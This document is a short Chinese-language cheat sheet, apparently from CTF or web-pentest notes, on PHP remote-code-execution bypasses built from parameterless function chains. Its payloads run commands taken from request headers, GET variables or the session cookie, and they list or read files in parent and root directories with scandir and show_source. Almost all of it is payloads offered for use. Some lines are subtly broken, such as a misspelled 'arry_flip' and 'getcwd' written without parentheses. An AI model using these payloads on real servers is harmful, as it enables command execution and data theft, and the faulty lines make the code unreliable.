请求头绕过
利用函数
利用getallheaders()获取到HTTP请求标头之后,使用pos()获取第一项标头中的参数,之后使用eval()执行命令。需要在HTTP包中找到对应的位置,修改为需要执行的命令。?cmd=eval(pos(getallheaders()));
system('ls');
全局变量RCE
通过获取对方服务器的全局变量的内容,从而写入想执行的命令,来对目标服务器进行命令执行。
利用函数
get_defined_vars能够获取到GET、POST、COOKIE、FILES的值
如
?code=print_r(end(pos(get_defined_vars())));&a=ls
返回结果包含ls
?code=eval(system(end(pos(get_defined_vars()))));&a=ls
session RCE
利用函数
如果服务器没有启用session可以先使用session_start()启用session然后再使用session_id获取sessionid的参数
?code=system(session_id(session_start()));
Cookie: PHPSESSID=ls
scandir读取
相关函数
scandir() 列出指定路径中的文件和目录(PHP 5, PHP 7, PHP 8)
getcwd() 取得当前工作目录(PHP 4, PHP 5, PHP 7, PHP 8)
current() 返回数组中的当前值(PHP 4, PHP 5,PHP 7,PHP 8)
array_reverse() 返回单元顺序相反的数组(PHP 4, PHP 5, PHP 7,PHP 8)
array_flip() 交换数组中的键和值(PHP 4, PHP 5, PHP 7, PHP 8)
next() 将数组中的内部指针向前移动(PHP 4,PHP 5,PHP 7, PHP 8)
array_rand 从数组中随机取出一个或多个随机键
chdir() 系统调用函数 (同cd) ,用于改变当前工作目录
strrev() 用于反转给定的字符串
crypt() 用来加密,目前Linux平台上加密的方法大致有MD5,DES,3 DES
hebrevc() 把希伯来文本从右至左的流转换为左至右的流。
show_source() 读取当前目录文件内容
dirname() 输出上一级目录的路径
读取上一级目录下的文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd)))))));
从根目录下读取文件
数组反序列化后使用crypt进行加密有概率获取到字符串末尾有/,对字符串进行反转和截取能获取到/。show_source(array_rand(arry_flip(scandir(chr(ord(strrev(crypt(serialize(array())))))))));